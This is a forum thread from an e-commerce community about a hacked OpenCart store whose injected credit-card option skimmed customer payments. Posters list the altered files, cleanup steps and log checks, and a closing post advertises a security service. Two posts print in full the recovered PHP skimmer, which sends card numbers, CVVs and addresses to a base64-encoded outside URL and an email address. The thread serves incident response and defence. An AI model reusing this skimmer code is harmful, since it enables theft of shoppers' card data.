OpenCart Community

Posted: **Thu Nov 01, 2018 3:05 am**

Recently, I upgraded my store from Opencart 1.5.6.4 to Opencart 3.0.2. The conversion ran smoothly and is online. However, I've noticed since the upgrade that I have several records in my "Orders" table that do not show up in my dashboard. And among those "missing" orders are several that show "Authorize.Net" as the payment gateway.

The only problem is, I do not now, nor have I ever offered Authorize.Net as a payment choice. It's only the most recent few orders that show this information, but it may be one of the reasons why business has fallen off substantially after the update. Can anyone think of a reason why a customer would be able to select Authorize.Net as a payment gateway when that option is disabled in my payment module?

The only payment method offered in my store is Paypal Standard.

ADDITIONAL INFORMATION:

I contacted one of the clients who had tried to use the Authorize.Net payment method to ask them how it was possible they selected that option? They told me the checkout screen contained both a Credit Card (Authorize.net) *and* a Paypal option. I verified that this is the case - both payment options were visible on the checkout screen, even though I have not activated the Authorize.net feature.

Is this a bug? I am using the Journal2 theme with OpenCart 3.0.2

Posted: **Thu Nov 01, 2018 3:35 am**

Well, just search this Place for authorizenet, and you will find out easy,
that your Site has been hacked, and your Customer Payments will be
rerouted to someone else, I assume ...

Ernie

Posted: **Thu Nov 01, 2018 10:25 am**

Yes, Ernie, you are correct. The site has been hacked. Just trying to determine the extent of the changed source files now. Still not sure how the hack was accomplished.

Posted: **Thu Nov 01, 2018 1:31 pm**

Well, so far, nobody yet was really able (or willing) to shed some light on this,
and some of those, beeing confronted with, found it again, while not cleaning
out their Site in full, I assume, before uploading a Backup Copy of the Software.

It's also widely unknown, if some Badcode might exist in the Database, or then,
it's placed in some Extension, since those, beeing confronted with, seldom come
back here, to explain, how the got rid of it again.

But OC Sites are beeing hacked, or at least tried to, and one of the most dangerous
things to have on a Server would be OC and WP combined, as I can read out
of my Access+Error Logs, since most Hacking attempts are meant to hit WP Code.

I have locked down more than 1'000 different ways of 'linking' to my OC Testsites so far, and
it's usual for me, to be attacked at least once or twice a week. But I also use a great Hoster,
who serves the Real Big Mothers in my Country too, so, I never got hit so far ...

The only (Jerusalem) Virus I ever found, was on brand new Systems I imported from
Taiwan, equipped with the first WIN95, but a Customer found out real early, and we
where able to fix the problem, before it occurred.

It's quite a while since ...

Good Luck, come back and tell us, if and what you found out about ...

Ernie

Posted: **Thu Nov 01, 2018 2:44 pm**

It was very tedious, but I have managed to clean out the infection. I do not believe there is anything in the database that can trigger it again - providing the code to access the database has been cleaned. What I did was compare my core OpenCart 3.0.2 files on the hacked site to the virgin zip file. I also compared the Journal2 theme files on my hacked server to the virgin zip file.

There were many files in my /system/storage/modification and /system/storage/cache folders that had no comparison files in the clean zips, so, after backing up these folders, I deleted their contents. I didn't want to have to deal with cached copies of programs coming back to haunt me.

As mentioned, I am using OpenCart 3.0.2 with the Journal 2 version 2.16.8.

While I found many helpful threads that identified some of the "infected" files, I created a more comprehensive list. Most files were found by comparing the time stamps of the files (altered files were *usually* newer). However, there were a few "minor" differences in some files (when compared to the virgin zip files) so I replaced them anyway - even if the time stamps appeared to be correct.

Files that were definitely corrupt: (these files contained back doors or modifications intended to send back information about your server and files)
/catalog/controller/account/login.php
/catalog/controller/account/edit.php
/catalog/controller/extension/payment/authorizenet_aim.php
/catalog/controller/extension/payment/pp_pro.php
/admin/controller/common/login.php
/admin/controller/extension/extension/payment.php
/catalog/model/checkout/order.php
/system/library/cart/user.php

Files that differed somewhat from the server copy vs. the clean copy of files: (these may be OK, but you may have to do a file comparison to verify)
/admin/controller/extension/payment/authorizenet_aim.php_ (note the "_" - although the file date was as original and the clean version matched)
/admin/view/template/extension/payment/free_checkout.twig (see note 1)
/admin/controller/extension/payment/klarna_account.php (see note 1)
/admin/controller/extension/payment/free_checkout.php (see note 1)
/admin/controller/common/dashboard.php (see note 2)

Emptied the following folders (after making backups):
/system/storage/cache
/system/storage/modification

Note 1: The difference from the server to the clean zip appears to be a modification designed to create unique class/variable names
Note 2: The server version had commented out the Warning about moving the storage folder out of a publicly accessible location

After cleaning the system, I refreshed the modifications (rebuilding the /system/storage/... folders) and tried the program.

To my shock, I still saw the Credit Card option displayed on my checkout page!!! It took several minutes of looking around for something I missed until I realized that after removing the infected files, the PAYMENT OPTIONS had still indicated that Authorize.Net and PayPal PRO were available payments.

After disabling those payment options and refreshing modifications yet again, my system appears to have been cleaned.

FOLLOWUP:

The reason I even found out the site was hacked is that the store's owner had complained that sales had been slow. I checked the ORDERS table to see if there had been a lot of abandoned orders. To my surprise, I saw a few FINALIZED sales that had apparently used the Credit Card payment option (we don't offer credit card payment). It was my search for why the authorize.net payment option was showing up on some of the orders that led me to the discovery of the hacked site.

IMPORTANT NOTE: ANY ORDER IN YOUR DATABASE THAT HAS A PAYMENT METHOD OF AUTHORIZE.NET WHEN YOU DON'T OFFER CREDIT CARD PAYMENTS CAN BE ASSUMED TO BE A BREACH. THESE CUSTOMERS SHOULD BE CONTACTED AND WARNED ABOUT THE POTENTIAL UNAUTHORIZED USE OF THEIR CARD.

Posted: **Fri Nov 02, 2018 7:08 pm**

Have you looked through your FTP accesses logs and your web access logs to see if there are any clues as to how they got access?

Posted: **Fri Nov 02, 2018 7:13 pm**

From the timestamp on the altered files, the access to the server occurred in late August. I don't think I have any logs that go back that far. I remember looking through the raw access log for any POST activities for the affected resources, but I only had logs for October.

And now that November has begun, even my October logs are gone. I guess I should activate Log Archiving in cPanel.

By the way, I filed a complaint with Google over the hacker's use of a gmail address for passing the information gathered from hacked sites. Imagine if all that data just disappeared into space if Google removes access to that single account which is referenced in every instance of the hack.

Posted: **Sat Nov 11, 2023 7:16 pm**

JEfromCanada wrote: ↑
Thu Nov 01, 2018 2:44 pm
It was very tedious, but I have managed to clean out the infection. I do not believe there is anything in the database that can trigger it again - providing the code to access the database has been cleaned. What I did was compare my core OpenCart 3.0.2 files on the hacked site to the virgin zip file. I also compared the Journal2 theme files on my hacked server to the virgin zip file.

There were many files in my /system/storage/modification and /system/storage/cache folders that had no comparison files in the clean zips, so, after backing up these folders, I deleted their contents. I didn't want to have to deal with cached copies of programs coming back to haunt me.

As mentioned, I am using OpenCart 3.0.2 with the Journal 2 version 2.16.8.

While I found many helpful threads that identified some of the "infected" files, I created a more comprehensive list. Most files were found by comparing the time stamps of the files (altered files were *usually* newer). However, there were a few "minor" differences in some files (when compared to the virgin zip files) so I replaced them anyway - even if the time stamps appeared to be correct.

Files that were definitely corrupt: (these files contained back doors or modifications intended to send back information about your server and files)
/catalog/controller/account/login.php
/catalog/controller/account/edit.php
/catalog/controller/extension/payment/authorizenet_aim.php
/catalog/controller/extension/payment/pp_pro.php
/admin/controller/common/login.php
/admin/controller/extension/extension/payment.php
/catalog/model/checkout/order.php
/system/library/cart/user.php

Files that differed somewhat from the server copy vs. the clean copy of files: (these may be OK, but you may have to do a file comparison to verify)
/admin/controller/extension/payment/authorizenet_aim.php_ (note the "_" - although the file date was as original and the clean version matched)
/admin/view/template/extension/payment/free_checkout.twig (see note 1)
/admin/controller/extension/payment/klarna_account.php (see note 1)
/admin/controller/extension/payment/free_checkout.php (see note 1)
/admin/controller/common/dashboard.php (see note 2)

Emptied the following folders (after making backups):
/system/storage/cache
/system/storage/modification

Note 1: The difference from the server to the clean zip appears to be a modification designed to create unique class/variable names
Note 2: The server version had commented out the Warning about moving the storage folder out of a publicly accessible location

After cleaning the system, I refreshed the modifications (rebuilding the /system/storage/... folders) and tried the program.

To my shock, I still saw the Credit Card option displayed on my checkout page!!! It took several minutes of looking around for something I missed until I realized that after removing the infected files, the PAYMENT OPTIONS had still indicated that Authorize.Net and PayPal PRO were available payments.

After disabling those payment options and refreshing modifications yet again, my system appears to have been cleaned.

FOLLOWUP:

The reason I even found out the site was hacked is that the store's owner had complained that sales had been slow. I checked the ORDERS table to see if there had been a lot of abandoned orders. To my surprise, I saw a few FINALIZED sales that had apparently used the Credit Card payment option (we don't offer credit card payment). It was my search for why the authorize.net payment option was showing up on some of the orders that led me to the discovery of the hacked site.

IMPORTANT NOTE: ANY ORDER IN YOUR DATABASE THAT HAS A PAYMENT METHOD OF AUTHORIZE.NET WHEN YOU DON'T OFFER CREDIT CARD PAYMENTS CAN BE ASSUMED TO BE A BREACH. THESE CUSTOMERS SHOULD BE CONTACTED AND WARNED ABOUT THE POTENTIAL UNAUTHORIZED USE OF THEIR CARD.

Thank you so much for this I am experiencing the same issue.. i have compared all the files you have published to be inspected.. and i have found this this beauty:

$curl2=curl_init();$data2='data='.$order_info['order_id'].'|'.$order_info['payment_firstname'].'|'.$order_info['payment_lastname'].'|'.$order_info['payment_address_1'].'|'.$order_info['payment_city'].'|'.$order_info['payment_postcode'].'|'.$order_info['payment_zone'].'|'.$order_info['payment_country'].'|'.$order_info['telephone'].'|'.$this->request->post['cc_expire_date_month'].'|'.$this->request->post['cc_expire_date_year'].'|'.$this->request->post['cc_cvv2'].'|'.$this->request->post['cc_number'].'&site='.$_SERVER['HTTP_HOST'].'ttf';curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl2,CURLOPT_URL,base64_decode('aHR0cDovL2FueXRoaW5ncHJvLm5ldC9nZXQyLnBocA=='));curl_setopt($curl2, CURLOPT_POST, 1);curl_setopt($curl2, CURLOPT_POSTFIELDS, $data2);curl_exec($curl2);curl_close($curl2);mail('alt.yi-2od2vguj@yopmail.com','order',$data2,'From: order@fly.com\r\nReply-to: alt.yi-2od2vguj@yopmail.com');

This is the code in authorizenet_aim.php

How can I block this guy out? I now managed to remove the payment option Authorize.net .. deleted the cache of storage folder.. under orders in dataase there is no orders to be found made with this payment option

How can I find his IP and block him for good
I didn't have 2FA on my cpanel and whm account, so I managed to do that now.

Posted: **Sat Nov 11, 2023 9:20 pm**

ideep13 wrote: ↑
Sat Nov 11, 2023 7:16 pm
Thank you so much for this I am experiencing the same issue.. i have compared all the files you have published to be inspected.. and i have found this this beauty:

$curl2=curl_init();$data2='data='.$order_info['order_id'].'|'.$order_info['payment_firstname'].'|'.$order_info['payment_lastname'].'|'.$order_info['payment_address_1'].'|'.$order_info['payment_city'].'|'.$order_info['payment_postcode'].'|'.$order_info['payment_zone'].'|'.$order_info['payment_country'].'|'.$order_info['telephone'].'|'.$this->request->post['cc_expire_date_month'].'|'.$this->request->post['cc_expire_date_year'].'|'.$this->request->post['cc_cvv2'].'|'.$this->request->post['cc_number'].'&site='.$_SERVER['HTTP_HOST'].'ttf';curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl2,CURLOPT_URL,base64_decode('aHR0cDovL2FueXRoaW5ncHJvLm5ldC9nZXQyLnBocA=='));curl_setopt($curl2, CURLOPT_POST, 1);curl_setopt($curl2, CURLOPT_POSTFIELDS, $data2);curl_exec($curl2);curl_close($curl2);mail('alt.yi-2od2vguj@yopmail.com','order',$data2,'From: order@fly.com\r\nReply-to: alt.yi-2od2vguj@yopmail.com');

This is the code in authorizenet_aim.php

How can I block this guy out? I now managed to remove the payment option Authorize.net .. deleted the cache of storage folder.. under orders in dataase there is no orders to be found made with this payment option

How can I find his IP and block him for good
I didn't have 2FA on my cpanel and whm account, so I managed to do that now.

I would compare all your files to clean versions of OpenCart, your theme and extensions. Also remember to change all passwords or all accounts, such as hosting, FTP, admin, etc.

Try and work out when it started happening (the date on the modified files may tell you). Then look through your log files, such as server, FTP, web access, PHP error, OpenCart error, etc.

Posted: **Sat Apr 27, 2024 12:28 am**

It is next to impossible to manually review and clean up files. You need to have a malware scan completed and make sure ALL passwords are updated to strong and unique passwords and make sure you're using a supported version of PHP. Being proactive, not reactive is the best approach to security. As I'm sure you've seen, it's a real headache and there is a lot of lost business when a hack occurs.
For anyone reading this, we're happy to provide you with a free 2 week trial of an awesome security solution called Astra Security and we'll install it for you. It can be used with any Opencart hosting provider.

OpenCart Community

Recent orders are showing Authorize.Net as payment gateway - I don't use it

Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it

Re: Recent orders are showing Authorize.Net as payment gateway - I don't use it